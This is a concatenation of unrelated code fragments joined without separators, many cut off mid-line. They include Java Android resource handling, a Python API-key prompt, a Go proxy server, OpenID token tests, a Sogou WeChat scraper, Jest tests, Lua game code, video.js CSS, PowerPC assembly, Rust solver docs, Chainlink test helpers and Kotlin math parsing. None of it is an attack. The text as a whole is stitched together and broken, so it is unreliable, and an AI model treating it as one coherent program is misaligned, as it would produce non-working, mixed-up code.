          int attrOffset = attrStart + i * ATTRIBUTE_SIZE;
          int attrType = nodeBuf.get(attrOffset + 15);
          switch (attrType) {
            case RES_REFERENCE:
            case RES_ATTRIBUTE:
              transformEntryDataOffset(nodeBuf, attrOffset + 16, visitor);
              break;
            case RES_DYNAMIC_ATTRIBUTE:
            case RES_DYNAMIC_REFERENCE:
              throw new UnsupportedOperationException();
            default:
              break;
          }
        }
        fixupAttrs(attrStart, attrCount);
      }
      int chunkSize = nodeBuf.getInt(offset + 4);
      offset += chunkSize;
    }
  }

  private int getAttributeNameResId(int attrOffset) {
    if (!refMap.isPresent()) {
      return -1;
    }
    int id = nodeBuf.getInt(attrOffset + 4);
    return refMap.get().getRef(id);
  }

  // Android resource handling makes several assumptions about xml node attribute ordering:
  //
  // > 1) The input has the same sorting rules applied to it as
  // >    the attribute data contained by this class.
  // > 2) Attributes are grouped by package ID.
  // > 3) Among attributes with the same package ID, the attributes are
  // >    sorted by increasing resource ID.
  //
  // After reassigning ids, we need to make sure that these assumptions still
  // hold.
  //
  // See
  // https://android.googlesource.com/platform/frameworks/base/+/nougat-release/include/androidfw/AttributeFinder.h
  //
  // If there


import os
import pprint

def enter_and_set_api_keys(streamlit_mode=True):
    """
    Prompts the user to enter OpenAI and Serper API keys and sets them as environment variables.
    Works for both Streamlit and CLI modes.
    Returns the entered keys as a tuple: (openai_api_key, serper_api_key)
    """
    if streamlit_mode:
        import streamlit as st
        openai_api_key = st.text_input("OpenAI API Key", type="password")
        serper_api_key = st.text_input("Serper API Key", type="password")
        if not openai_api_key or not serper_api_key:
            st.warning("Please enter both OpenAI and Serper API keys to continue.")
            # Don't use st.stop() here - let the main app handle the conditional display
            return "", ""  # Return empty strings instead of stopping
    else:
        openai_api_key = input("OpenAI API Key: ")
        serper_api_key = input("Serper API Key: ")
        if not openai_api_key or not serper_api_key:
            print("Both OpenAI and Serper API keys are required.")
            exit(1)

    # Only set environment variables if both keys are provided
    if openai_api_key and serper_api_key:
        os.environ["OPENAI_API_KEY"] = openai_api_key
        os.environ["OPENAI_MODEL_NAME"] = "gpt-4o-mini"
        os.environ["SERPER_API_KEY"] = serper_api_key

    return openai_api_key, serper_api_key

def pretty_print_result(result):
    """
    Pretty print the result dictionary in a readable format.
    """
    pprint.pprint(result)


pathMatcherService: pathMatcherService,

		// 保留字段
		startTime: startTime,
		config:    cfg,
		Cache:     cacheManager,
		errorHandler: func(w http.ResponseWriter, r *http.Request, err error) {
			log.Printf("[Error] %s %s -> %v from %s", r.Method, r.URL.Path, err, utils.GetRequestSource(r))
			w.WriteHeader(http.StatusInternalServerError)
			w.Write([]byte("Internal Server Error"))
		},
	}

	// 注册配置更新回调
	config.RegisterUpdateCallback(func(newCfg *config.Config) {
		// 注意：config包已经在回调触发前处理了所有ExtRules，这里无需再次处理
		handler.pathMatcherService.UpdatePaths(newCfg.MAP)
		handler.config = newCfg

		// 清理ExtensionMatcher缓存，确保使用新配置
		if handler.Cache != nil {
			handler.Cache.InvalidateAllExtensionMatchers()
			log.Printf("[Config] ExtensionMatcher缓存已清理")
		}

		// 清理URL可访问性缓存和文件大小缓存
		utils.ClearAccessibilityCache()
		utils.ClearFileSizeCache()

		log.Printf("[Config] 代理处理器配置已更新: %d 个路径映射", len(newCfg.MAP))
	})

	return handler
}

func (h *ProxyHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	// 添加 panic 恢复
	defer func() {
		if err := recover(); err != nil {
			log.Printf("[Panic] %s %s -> %v from %s", r.Method, r.URL.Path, err, utils.GetRequestSource(r))
			h.errorHandler(w, r, fmt.Errorf("panic: %v", err))
		}
	}()

	collector := metrics.GetCollector()
	collector.BeginRequest()
	defer collector.EndRequest()

	start := time.Now()

	// 创建带超时的上下文
	ctx, cancel := context.WithTimeout(r.Context(), proxyRespTimeout)
	defer cancel()
	r = r.WithContext(ctx)

	// 处理根路径请求
	if r.URL.Path == "/" {
		h.handleWelcome(w, r, start)
		return
	}

	// 使用路径匹配服务查找匹配的路径
	matchResult := h.pathMatcherService.MatchPath(r.URL.Path)
	if !matchResult.Matched {
		http.NotFound(w, r)
		return
	}

	// 创建代理请求结构
	proxyReq := &service.ProxyRequest{
		OriginalRequest: r,
		MatchedPrefix:   matchResult.MatchedPrefix,
		PathConfig:      matchResult.PathConfig,
		TargetPath:      matchResult.TargetPath,
		StartTime:       start,
	}

	// 检查缓存
	if item, hit, notModified := h.proxyService.CheckCache(proxyReq); hit {
		h.handleCacheHit(w, r, item, notModified, start, collector)
		return
	}

	// 检查重定向
	if h.proxyService.CheckRedirect(proxyReq, w) {
		collector.RecordRequest(r.URL.Path, http.StatusFound, time.Since(start), 0, iputil.GetClientIP(r), r)
		return
	}

	// 选择目标服务器
	targetURL, altTarget := h.proxyService.SelectTarget(proxyReq)

	// 创建代理请求
	httpReq, err := h.proxyService


	},
			},
		},
		{
			d:         "should fail subject from ID token does not match subject from session",
			prompt:    "login",
			isPublic:  false,
			expectErr: true,
			s: &DefaultSession{
				Subject: "foo",
				Claims: &jwt.IDTokenClaims{
					Subject:     "foo",
					RequestedAt: time.Now().UTC(),
					AuthTime:    time.Now().UTC().Add(-time.Second),
				},
			},
			idTokenHint: genIDToken(jwt.IDTokenClaims{
				Subject:     "bar",
				RequestedAt: time.Now(),
				ExpiresAt:   time.Now().Add(time.Hour),
			}),
		},
		{
			d:         "should pass subject from ID token matches subject from session",
			prompt:    "",
			isPublic:  false,
			expectErr: false,
			s: &DefaultSession{
				Subject: "foo",
				Claims: &jwt.IDTokenClaims{
					Subject:     "foo",
					RequestedAt: time.Now().UTC(),
					AuthTime:    time.Now().UTC().Add(-time.Second),
				},
			},
			idTokenHint: genIDToken(jwt.IDTokenClaims{
				Subject:     "foo",
				RequestedAt: time.Now(),
				ExpiresAt:   time.Now().Add(time.Hour),
			}),
		},
		{
			d:         "should pass subject from ID token matches subject from session even though id token is expired",
			prompt:    "",
			isPublic:  false,
			expectErr: false,
			s: &DefaultSession{
				Subject: "foo",
				Claims: &jwt.IDTokenClaims{
					Subject:     "foo",
					RequestedAt: time.Now().UTC(),
					AuthTime:    time.Now().UTC().Add(-time.Second),
					ExpiresAt:   time.Now().UTC().Add(-time.Second),
				},
			},
			idTokenHint: genIDToken(jwt.IDTokenClaims{
				Subject:     "foo",
				RequestedAt: time.Now(),
				ExpiresAt:   time.Now().Add(time.Hour),
			}),
		},
	} {
		t.Run(fmt.Sprintf("case=%d/description=%s", k, tc.d), func(t *testing.T) {
			t.Logf("%s", tc.idTokenHint)
			err := v.ValidatePrompt(context.TODO(), &fosite.AuthorizeRequest{
				Request: fosite.Request{
					Form:    url.Values{"prompt": {tc.prompt}, "id_token_hint": {tc.idTokenHint}},
					Client:  &fosite.DefaultClient{Public: tc.isPublic},
					Session: tc.s,
				},
				RedirectURI: parse(tc.redirectURL),
			})
			if tc.expectErr {
				assert.Error(t, err)
			} else {
				assert.NoError(t, err)
			}
		})
	}
}

func parse(u string) *url.URL {
	o, _ := url.Parse(u)
	return o
}
// Copyright © 2025 Ory Corp
// SPDX-License-Identifier: Apache-2.0

package openid

import (
	"bytes"
	"context"
	"crypto/sha256"
	"crypto/sha512"
	"encoding/base64"
	"strconv"
	"time"

	"github.com/ory/fosite"
)

type IDTokenHandleHelper struct {
	IDTokenStrategy OpenIDConnectTokenStrategy
}

func (i *IDTokenHandleHelper) GetAccessTokenHash(ctx context.Context, requester fosite.AccessRequester, responder fosite.AccessResponder) string {
	token := responder.GetAccessToken()
	// The session should always be a openid.Session but best to safely cast
	if session, ok := requester.GetSession().(Session); ok {
		val, err := i.Compu


     console.log(($(this).children(".sc_info").text().replace(/\s+/g,"")))
                console.log(($(this).children(".c_abstract").text().replace(/\s+/g,"")).split('来源')[0])
                console.log('\n')
            }
        });
    }
})

/**
 *  搜狗微信爬虫
 */

var  options = {
    　　 method: 'get',
        url: encodeURI("http://weixin.sogou.com/weixin?type=2&query=贫困")
    };

request(options, function (err, res, body) {
    if (err) {
        console.log(err)
    }else {
        let $ = cheerio.load(body);
        $('.txt-box').each(function(i, elem) {
            if(true){
                console.log(($(this).children("h3").children('a').attr('href')))
                console.log(($(this).children("h3").children('a').text()))
                console.log(($(this).children(".txt-info").text().replace(/\s+/g,"")))
                console.log(($(this).parent().children(".img-box").children("a").children('img').attr('src').split('&url=')[1]))
                // console.log(($(this).children(".c_abstract").text().replace(/\s+/g,"")).split('来源')[0])
                console.log('\n')
            }
        });
    }
})
import {CityType} from '../02/02_1';
import {createMessagesForStreet, getStreetsTitlesOfGovernmentBuildings, getStreetsTitlesOfHouses} from './05_1';

let city: CityType;

beforeEach(() => {
    city = {
        title: 'New York',
        houses: [
            {
                buildedAt: 2012,
                repaired: false,
                address: {
                    number: 100,
                    street: {title: 'Happy Street'}
                }
            },
            {
                buildedAt: 1990,
                repaired: true,
                address: {
                    number: 150,
                    street: {title: 'Gagarin Street'}
                }

            },
            {
                buildedAt: 2018,
                repaired: false,
                address: {
                    number: 200,
                    street: {title: 'Sunflower Street'}
                }
            }
        ],
        governmentBuildings: [
            {
                type: 'Hospital',
                budget: 20000,
                stuffCount: 200,
                address: {
                    street: {title: "Central Street"},
                    number: 250
                }
            },
            {
                type: 'Fire-Station',
                budget: 1000,
                stuffCount: 100,
                address: {
                    street: {title: "Unnamed road"},
                    number: 250
                }
            }
        ],
        citizensNumber: 100000
    }
});

test("List of streets titles of governments buildings", () => {
    let streetsNames = getStreetsTitlesOfGovernmentBuildings(city.governmentBuildings);

    expect(streetsNames.length).toBe(2)
    expect(streetsNames[0]).toBe("Central Street")
    expect(streetsNames[1]).toBe("Unnamed road")
})

test ("List of streets titles", () => {
    let streets = getStreetsTitlesOfHouses(city.houses)

    expect(streets.length).toBe(3)
    expect(streets[0]).toBe("Happy Street")
    expect(streets[1]).toBe("Gagarin Street")
    expect(streets[2


\uc120\uc218\uacfc\ubaa9(Prerequisites): PyTorch Distributed Overview PyTorch Collective Communication Package PyTorch Cpp Extension Writing Distributed Applications with PyTorch \uc774 \ud29c\ud1a0\ub9ac\uc5bc\uc5d0\uc11c\ub294 cpp \ud655\uc7a5 \uc744 \uc0ac\uc6a9\ud558\uc5ec \uc0ac\uc6a9\uc790 \uc815\uc758 Backend \ub97c \uad6c\ud604\ud558\uace0 \uc774\ub97c \ud30c\uc774\ud1a0\uce58 \ubd84\uc0b0 \ud328\ud0a4\uc9c0 \uc5d0 \uc5b4\ub5bb\uac8c \uc5f0\uacb0\ud558\ub294\uc9c0\ub97c \uc54c\uc544\ubd05\ub2c8\ub2e4. \uc774\ub7ec\ud55c \ubc29\ubc95\uc740 \ud558\ub4dc\uc6e8\uc5b4\uc5d0 \ud2b9\ud654\ub41c \uc18c\ud504\ud2b8\uc6e8\uc5b4 \uc2a4\ud0dd\uc774 \ud544\uc694\ud55c \uacbd\uc6b0\ub098 \uc0c8\ub85c\uc6b4 \uc9d1\ud569 \ud1b5\uc2e0 \uc54c\uace0\ub9ac\uc998(collective communication algorithm)\uc744 \uc2e4\ud5d8\ud558\uace0\uc790 \ud560 \ub54c \uc720\uc6a9\ud569\ub2c8\ub2e4. \uae30\ucd08# \ud30c\uc774\ud1a0\uce58(PyTorch)\uc758 \uc9d1\ud569 \ud1b5\uc2e0(collective communications)\uc740 \ubd84\uc0b0 \ub370\uc774\ud130 \ubcd1\ub82c(DistributedDataParallel) \ubc0f \uc81c\ub85c \ub9ac\ub358\ub358\uc2dc \ucd5c\uc801\ud654\uae30(ZeroRedundancyOptimizer) \ub4f1\uc744 \ud3ec\ud568\ud558\uc5ec, \ub110\ub9ac \uc0ac\uc6a9\ub418\ub294 \ubd84\uc0b0 \ud559\uc2b5 \uae30\ub2a5\uc744 \uc9c0\uc6d0\ud569\ub2c8\ub2e4. \ub3d9\uc77c\ud55c \uc9d1\ud569 \ud1b5\uc2e0 API\ub97c \ub2e4\uc591\ud55c \ud1b5\uc2e0 \ubc31\uc5d4\ub4dc\uc5d0\uc11c \uc791\ub3d9\ud558\ub3c4\ub85d \ud558\uae30 \uc704\ud574 \ubd84\uc0b0 \ud328\ud0a4\uc9c0\ub294 \uc9d1\ud569 \ud1b5\uc2e0 \uc791\uc5c5\uc744 Backend \ud074\ub798\uc2a4\ub85c \ucd94\uc0c1\ud654\ud569\ub2c8\ub2e4. \uc774\ud6c4\uc5d0\ub294 \uc6d0\ud558\ub294 \uc11c\ub4dc\ud30c\ud2f0 \ub77c\uc7


INC_SERVER()

function SWEP:Reload()
	self.BaseClass.SecondaryAttack(self)
end

local function DoFleshThrow(pl, wep)
	if pl:IsValid() and pl:Alive() and wep:IsValid() then
		--pl:ResetSpeed()
		pl.LastRangedAttack = CurTime()

		local startpos = pl:GetPos()
		startpos.z = pl:GetShootPos().z
		local heading = pl:GetAimVector()

		local ent = ents.Create("projectile_bonemesh")
		if ent:IsValid() then
			ent:SetPos(startpos + heading * 8)
			ent:SetAngles(AngleRand())
			ent:SetOwner(pl)
			ent:Spawn()

			local phys = ent:GetPhysicsObject()
			if phys:IsValid() then
				phys:SetVelocityInstantaneous(heading * 600)
				phys:AddAngleVelocity(VectorRand() * 45)
			end
		end

		pl:EmitSound("physics/body/body_medium_break"..math.random(2, 4)..".wav", 72, math.random(70, 80))

		--pl:RawCapLegDamage(CurTime() + 2)
	end
end

local function DoSwing(pl, wep)
	if pl:IsValid() and pl:Alive() and w


l;
  font-style: normal;
}
.vjs-icon-volume-high:before, .video-js .vjs-mute-control .vjs-icon-placeholder:before {
  content: "\f107";
}

.vjs-icon-fullscreen-enter, .video-js .vjs-fullscreen-control .vjs-icon-placeholder {
  font-family: VideoJS;
  font-weight: normal;
  font-style: normal;
}
.vjs-icon-fullscreen-enter:before, .video-js .vjs-fullscreen-control .vjs-icon-placeholder:before {
  content: "\f108";
}

.vjs-icon-fullscreen-exit, .video-js.vjs-fullscreen .vjs-fullscreen-control .vjs-icon-placeholder {
  font-family: VideoJS;
  font-weight: normal;
  font-style: normal;
}
.vjs-icon-fullscreen-exit:before, .video-js.vjs-fullscreen .vjs-fullscreen-control .vjs-icon-placeholder:before {
  content: "\f109";
}

.vjs-icon-square {
  font-family: VideoJS;
  font-weight: normal;
  font-style: normal;
}
.vjs-icon-square:before {
  content: "\f10a";
}

.vjs-icon-spinner {
  font-family: VideoJS;
  font-weight: normal;
  font-style: normal;
}
.vjs-icon-spinner:before {
  content: "\f10b";
}

.vjs-icon-subtitles, .video-js .vjs-subs-caps-button .vjs-icon-placeholder,
.video-js.video-js:lang(en-GB) .vjs-subs-caps-button .vjs-icon-placeholder,
.video-js.video-js:lang(en-IE) .vjs-subs-caps-button .vjs-icon-placeholder,
.video-js.video-js:lang(en-AU) .vjs-subs-caps-button .vjs-icon-placeholder,
.video-js.video-js:lang(en-NZ) .vjs-subs-caps-button .vjs-icon-placeholder, .video-js .vjs-subtitles-button .vjs-icon-placeholder {
  font-family: VideoJS;
  font-weight: normal;
  font-style: normal;
}
.vjs-icon-subtitles:before, .video-js .vjs-subs-caps-button .vjs-icon-placeholder:before,
.video-js.video-js:lang(en-GB) .vjs-subs-caps-button .vjs-icon-placeholder:before,
.video-js.video-js:lang(en-IE) .vjs-subs-caps-button .vjs-icon-placeholder:before,
.video-js.video-js:lang(en-AU) .vjs-subs-caps-button .vjs-icon-placeholder:before,
.video-js.video-js:lang(en-NZ) .vjs-subs-caps-button .vjs-icon-placeholder:before, .video-js .vjs-subtitles-button .vjs-icon-placeholder:before {
  content: "\f10c";
}

.vjs-icon-captions, .video-js:lang(en) .vjs-subs-caps-button .vjs-icon-placeholder,
.video-js:lang(fr-CA) .vjs-subs-caps-button .vjs-icon-placeholder, .video-js .vjs-captions-button .vjs-icon-placeholder {
  font-family: Video


及びその関連メソッドにはないので、その分は cleaner 内の処理にお任せすることになります。
    const map = new Array(101).fill(new Array(101).fill(0));

    const newWidth = getMapWidth(map, map);
    expect(newWidth).toBe(101);
    expect(newWidth).toBeLessThanOrEqual(map.length);
});
import doublePlay from "./doublePlay";
import Bases, { createBases, isLoaded } from "../models/Bases";

const batter = "A";
const runner1 = "B";
const runner2 = "C";
const runner3 = "D";

const { isPossible, perform } = doublePlay;

describe("isPossible", () => {
  it("should be possible if the bases are loaded", () => {
    const isActionPossible = isPossible(
      createBases(runner3, runner2, runner1),
      0
    );

    expect(isActionPossible).toBe(true);
  });

  it("should be possible if there are runners at first and second", () => {
    const isActionPossible = isPossible(createBases(runner2, runner1), 0);

    expect(isActionPossible).toBe(true);
  });

  it("should be possible if there is a runner at first", () => {
    const isActionPossible = isPossible(createBases(runner1), 0);

    expect(isActionPossible).toBe(true);
  });

  it("should not be possible if there is a runner at third", () => {
    const isActionPossible = isPossible(
      createBases(undefined, undefined, runner1),
      0
    );

    expect(isActionPossible).toBe(false);
  });

  it("should not be possible if there are already 2 outs", () => {
    const isActionPossible = isPossible(createBases(runner1), 2);

    expect(isActionPossible).toBe(false);
  });

  it("should not be possible if there is a runner at second", () => {
    const isActionPossible = isPossible(createBases(undefined, runner1), 0);

    expect(isActionPossible).toBe(false);
  });

  it("should not be possible if there are runners at second and third", () => {
    const isActionPossible = isPossible(
      createBases(undefined, runner2, runner1),
      0
    );

    expect(isActionPossible).toBe(false);
  });
});

describe("perform", () => {
  describe("bases", () => {
    it("should force out play at home if the bases are loaded", () => {
      const { bases } = perform(batter, createBases(runner3, runner2, runner1));
      expect(bases).toEqual(createBases(undefined, runner3, runner2));
    });

    it("should force out play at third if there are runners on first and second", () => {
      const { bases } = perform(batter, createBases(runner2, runner1));
      expect(bases).toEqual(createBases(undefined, runner2));
    });

    it("should force out play at if there is a runner on first", () => {
      const { bases } = perform(batter, createBases(runner1));
      expect(bases).toEqual(createBases());
    });

    it("should leave runner on third if there are runners at first and third", () => {
      const { bases } = perform(
        batter,
        createBases(runner2, undefined, runner1)
      );
      expect(bases).toEqual(createBases(undefined, undefined, runner1));
    });
  });

  describe("numberOfOuts", () => {
    it("should result in two outs", () => {
      const { numberOfOuts } = perform(batter, createBases(runner1));
      expect(numberOfOuts).toEqual(2);
    });
  });
});
import


@sda21(r2)
/* 8008C36C 0008916C  FC 01 00 40 */	fcmpo cr0, f1, f0
/* 8008C370 00089170  40 81 00 14 */	ble lbl_8008C384
/* 8008C374 00089174  7F 63 DB 78 */	mr r3, r27
/* 8008C378 00089178  7F 64 DB 78 */	mr r4, r27
/* 8008C37C 0008917C  4B FD 69 29 */	bl func_80062CA4
/* 8008C380 00089180  48 00 00 3C */	b lbl_8008C3BC
lbl_8008C384:
/* 8008C384 00089184  3C 60 80 55 */	lis r3, lbl_805530D8@ha
/* 8008C388 00089188  C0 22 88 20 */	lfs f1, lbl_805DEF20@sda21(r2)
/* 8008C38C 0008918C  38 03 30 D8 */	addi r0, r3, lbl_805530D8@l
/* 8008C390 00089190  C0 02 88 24 */	lfs f0, lbl_805DEF24@sda21(r2)
/* 8008C394 00089194  7C 60 FA 14 */	add r3, r0, r31
/* 8008C398 00089198  D0 23 00 28 */	stfs f1, 0x28(r3)
/* 8008C39C 0008919C  D0 23 00 20 */	stfs f1, 0x20(r3)
/* 8008C3A0 000891A0  D0 03 00 24 */	stfs f0, 0x24(r3)
/* 8008C3A4 000891A4  48 00 00 18 */	b lbl_8008C3BC
lbl_8008C3A8:
/* 8008C3A8 000891A8  FC 20 E8 90 */	fmr f1, f29
/* 8008C3AC 000891AC  7F 83 E3 78 */	mr r3, r28
/* 8008C3B0 000891B0  FC 40 F0 90 */	fmr f2, f30
/* 8008C3B4 000891B4  38 9E 00 30 */	addi r4, r30, 0x30
/* 8008C3B8 000891B8  4B FF F0 55 */	bl func_8008B40C
lbl_8008C3BC:
/* 8008C3BC 000891BC  E3 E1 00 78 */	psq_l f31, 120(r1), 0, qr0
/* 8008C3C0 000891C0  CB E1 00 70 */	lfd f31, 0x70(r1)
/* 8008C3C4 000891C4  E3 C1 00 68 */	psq_l f30, 104(r1), 0, qr0
/* 8008C3C8 000891C8  CB C1 00 60 */	lfd f30, 0x60(r1)
/* 8008C3CC 000891CC  E3 A1 00 58 */	psq_l f29, 88(r1), 0, qr0
/* 8008C3D0 000891D0  39 61 00 50 */	addi r11, r1, 0x50
/* 8008C3D4 000891D4  CB A1 00 50 */	lfd f29, 0x50(r1)
/* 8008C3D8 000891D8  48 32 17 C9 */	bl _restgpr_27
/* 8008C3DC 000891DC  80 01 00 84 */	lwz r0, 0x84(r1)
/* 8008C3E0 000891E0  7C 08 03 A6 */	mtlr r0
/* 8008C3E4 000891E4  38 21 00 80 */	addi r1, r1, 0x80
/* 8008C3E8 000891E8  4E 80 00 20 */	blr

.global func_8008C3EC
func_8008C3EC:
/* 8008C3EC 000


<PipelineDerivatives>,
        thread_arg: &TaskWorkerThreadArg,
        event_queue: &NonBlockingEventQueue,
    ) where
        S: Scheduler,
    {
        for task_id in task_series {
            let context = TaskContext::new(
                task_id.clone(),
                pipeline_derivatives.clone(),
                thread_arg.repos.clone(),
            );

            let task = pipeline_derivatives
                .get_task(task_id)
                .expect("task id got from scheduler");

            task.run(&context)
                .map(|metrics_diff| {
                    event_queue.publish(Event::IncrementalUpdateMetrics {
                        metrics_update_by_task_execution_or_purge: Arc::new(
                            MetricsUpdateByTaskExecutionOrPurge::TaskExecution(metrics_diff),
                        ),
                    })
                })
                .unwrap_or_else(AutonomousExecutor::handle_error);
        }
    }
}
<gh_stars>1-10
//! An alternative solver based around the SLG algorithm, which
//! implements the well-formed semantics. For an overview of how the solver
//! works, see [The On-Demand SLG Solver][guide] in the rustc-dev-guide.
//!
//! [guide]: https://rustc-dev-guide.rust-lang.org/traits/slg.html
//!
//! This algorithm is very closed based on the description found in the
//! following paper, which I will refer to in the comments as EWFS:
//!
//! > Efficient Top-Down Computation of Queries Under the Well-founded Semantics
//! > (Chen, Swift, and Warren; Journal of Logic Programming '95)
//!
//! However, to understand that paper, I would recommend first
//! starting with the following paper, which I will refer to in the
//! comments as NFTD:
//!
//! > A New Formulation of Tabled resolution With Delay
//! > (Swift; EPIA '99)
//!
//! In addition, I incorporated extensions from the following papers,
//! which I will refer to as SA and RR respectively, that
//! describes how to do introduce approximation when processing
//! subgoals and so forth:
//!
//! > Terminating Evaluation of Logic Programs with Finite Three-Valued Models
//! > Riguzzi and Swift; ACM Transactions on Computational Logic 2013
//! > (Introduces "subgoal abstraction", hence the name SA)
//! >
//! > Radial Restraint
//! > Grosof and Swift; 2013
//!
//! Another useful paper that gives a kind of high-level overview of
//! concepts at play is the following, which I will refer to as XSB:
//!
//! > XSB: Extending Prolog with Tabled Logic Programming
//! > (Swift and Warren; Theory and Practice of Logic Programming '10)
//!
//! While this code is adapted from the algorithms described in those
//! papers, it is not the same. For one thing, the approaches there
//! had to be extended to our context, and in particular to coping
//! with hereditary harrop predicates and our version of unification
//! (which produces subgoals). I believe those to be largely faithful
//! extensions. However, there are some other places where I
//! intentionally diverged from the semantics as described in the
//! papers -- e.g. by more aggressively approximating -- which I
//! marked them with a comment DIVERGENCE. Those places may want to be
//! evaluated in the future.
//!
//! Glossary of other terms:
//!
//! - WAM: Warren abstract machine, an efficient way to evaluate Prolog programs.
//!   See <http://wambook.sourceforge.net/>.
//! - HH: Hereditary harrop predicates. What Chalk deals in.
//!   Popularized by Lambda Prolog.

#[macro_use]
extern crate chalk_macros;

use crate::context::Context;
use std::cmp::min;
use std::usize;

pub mod context;
mod derived;
pub mod fallible;
pub mod forest;
pub mod hh;
mod logic;
mod simplify;


fig.BHFJobRunTimeout.Duration,
	}
	l.Info().Msg("Creating BHF Job")
	bhfJob, err := CreateBHFJob(
		bhfNode.CLNode.API,
		bhfSpec,
	)
	if err != nil {
		return fmt.Errorf("%s, err %w", "", err)
	}
	bhfNode.Job = bhfJob
	return nil
}

func CreateBHFJob(
	chainlinkNode *nodeclient.ChainlinkClient,
	bhfJobSpecConfig nodeclient.BlockHeaderFeederJobSpec,
) (*nodeclient.Job, error) {
	jobUUID := uuid.New()
	spec := &nodeclient.BlockHeaderFeederJobSpec{
		Name:                       fmt.Sprintf("bhf-%s", jobUUID),
		ForwardingAllowed:          bhfJobSpecConfig.ForwardingAllowed,
		CoordinatorV2Address:       bhfJobSpecConfig.CoordinatorV2Address,
		CoordinatorV2PlusAddress:   bhfJobSpecConfig.CoordinatorV2PlusAddress,
		BlockhashStoreAddress:      bhfJobSpecConfig.BlockhashStoreAddress,
		BatchBlockhashStoreAddress: bhfJobSpecConfig.BatchBlockhashStoreAddress,
		FromAddresses:              bhfJobSpecConfig.FromAddresses,
		EVMChainID:                 bhfJobSpecConfig.EVMChainID,
		ExternalJobID:              jobUUID.String(),
		WaitBlocks:                 bhfJobSpecConfig.WaitBlocks,
		LookbackBlocks:             bhfJobSpecConfig.LookbackBlocks,
		PollPeriod:                 bhfJobSpecConfig.PollPeriod,
		RunTimeout:                 bhfJobSpecConfig.RunTimeout,
	}

	job, err := chainlinkNode.MustCreateJob(spec)
	if err != nil {
		return nil, fmt.Errorf("%s, err %w", ErrCreatingBHSJob, err)
	}
	return job, nil
}

func WaitForRequestCountEqualToFulfilmentCount(
	ctx context.Context,
	consumer VRFLoadTestConsumer,
	timeout time.Duration,
	wg *sync.WaitGroup,
) (*big.Int, *big.Int, error) {
	metricsChannel := make(chan *contracts.VRFLoadTestMetrics)
	metricsErrorChannel := make(chan error)

	testContext, testCancel := context.WithTimeout(ctx, timeout)
	defer testCancel()

	ticker := time.NewTicker(time.Second * 1)
	var metrics *contracts.VRFLoadTestMetrics
	for {
		select {
		case <-testContext.Done():
			ticker.Stop()
			wg.Done()
			return metrics.RequestCount, metrics.FulfilmentCount,
				fmt.Errorf("timeout waiting for rand request and fulfilments to be equal AFTER performance test was executed. Request Count: %d, Fulfilment Count: %d",
					metrics.RequestCount.Uint64(), metrics.FulfilmentCount.Uint64())
		case <-ticker.C:
			go retrieveLoadTestMetrics(ctx, consumer, metricsChannel, metricsErrorChannel)
		case metrics = <-metricsChannel:
			if metrics.RequestCount.Cmp(metrics.FulfilmentCount) == 0 {
				ticker.Stop()
				wg.Done()
				return metrics.RequestCount, metrics.FulfilmentCount, nil
			}
		case err := <-metricsErrorChannel:
			ticker.Stop()
			wg.Done()
			return nil, nil, err
		}
	}
}

func retrieveLoadTestMetrics(
	ctx context.Context,
	consumer VRFLoadTestConsumer,
	metricsChannel chan *contracts.VRFLoadTestMetrics,
	metricsErrorChannel chan error,
) {
	metrics, err := consumer.GetLoadTestMetrics(ctx)
	if err != nil {
		metricsErrorChannel <- err
	}
	metricsChannel <- metrics
}

func CreateNodeTypeToNodeMap(cluster *test_env.ClCluster, nodesToCreate []VRFNodeType) (map[VRFNodeType]*VRFNode, error) {
	var nodesMap = make(map[VRF


-> MTMathColor()
      else -> MTMathAtom(type, value)
    }

    fun atomForCharacter(ch: Char): MTMathAtom? {
      val chStr = ch.toString()

      return when {
        // skip non-ascii characters and spaces
        ch.code < 0x21 || ch.code > 0x7E -> null

        // These are latex control characters that have special meanings. We don't support them.
        ch in setOf('$', '%', '#', '&', '~') -> null

        // Handle prime symbol for derivatives
        ch == '\'' -> atomWithType(MTMathAtomType.KMTMathAtomOrdinary, "\u2032")

        // more special characters for Latex.
        ch in setOf('^', '_', '{', '}', '\\') -> null

        // Open brackets
        ch in setOf('(', '[') -> atomWithType(MTMathAtomType.KMTMathAtomOpen, chStr)

        // Close brackets
        ch in setOf(')', ']', '!', '?') -> atomWithType(MTMathAtomType.KMTMathAtomClose, chStr)

        // Punctuation
        ch in setOf(',', ';') -> atomWithType(MTMathAtomType.KMTMathAtomPunctuation, chStr)

        // Relations
        ch in setOf('=', '>', '<') -> atomWithType(MTMathAtomType.KMTMathAtomRelation, chStr)

        // Math colon is ratio. Regular colon is \colon
        ch == ':' -> atomWithType(MTMathAtomType.KMTMathAtomRelation, "\u2236")

        // Use the math minus sign
        ch == '-' -> atomWithType(MTMathAtomType.KMTMathAtomBinaryOperator, "\u2212")

        // Binary operators
        ch in setOf('+', '*') -> atomWithType(MTMathAtomType.KMTMathAtomBinaryOperator, chStr)

        // Numbers
        ch == '.' || ch in '0'..'9' -> atomWithType(MTMathAtomType.KMTMathAtomNumber, chStr)

        // Variables
        ch in 'a'..'z' || ch in 'A'..'Z' -> atomWithType(MTMathAtomType.KMTMathAtomVariable, chStr)

        // Just an ordinary character. The following are allowed ordinary chars: | / ` @ "
        ch in setOf('"', '/', '@', '`', '|') -> atomWithType(
          MTMathAtomType.KMTMathAtomOrdinary,
          chStr,
        )

        else -> throw MathDisplayException("Unknown ascii character $ch. Should have been accounted for.")
        }
    }
  }

  open fun toLatexString(): String {
    var str = nucleus

    str = toStringSubs(str)
    return str
  }

  fun toStringSubs(s: String): String = buildString {
    append(s)

    superScript?.let {
      append("^{${MTMathListBuilder.toLatexString(it)}}")
    }

    subScript?.let {
      append("_{${MTMathListBuilder.toLatexString(it)}}")
    }
  }

  fun copyDeepContent(atom: MTMathAtom): MTMathAtom {
    if (this.subScript != null) {
      atom.subScript = this.subScript?.copyDeep()
    }
    if (this.superScript != null) {
      atom.superScript = this.superScript?.copyDeep()
    }
    // fusedAtoms are only used in preprocessing which comes after finalized which uses copyDeep()
    // No need to copy fusedAtoms but assert here to find any coding error
    assert(atom.fusedAtoms.isEmpty())
    atom.fontStyle = this.fontStyle
    atom.indexRange = this.indexRange.copy()
    return atom
  }

  open fun copyDeep(): MTMathAtom


lbW9Sb290Q0EyMQ4wDAYDVQQLDAVFSkJDQTEaMBgG"
        +"A1UECgwRU2lnblNlcnZlciBTYW1wbGUxCzAJBgNVBAYTAlNFMIIBtzCCASsGByqG"
        +"SM44BAEwggEeAoGBAI+d9uiMBBzqdvlV3wSMdwRv/Qx2POGqh+m0M0tMYEwIGBdZ"
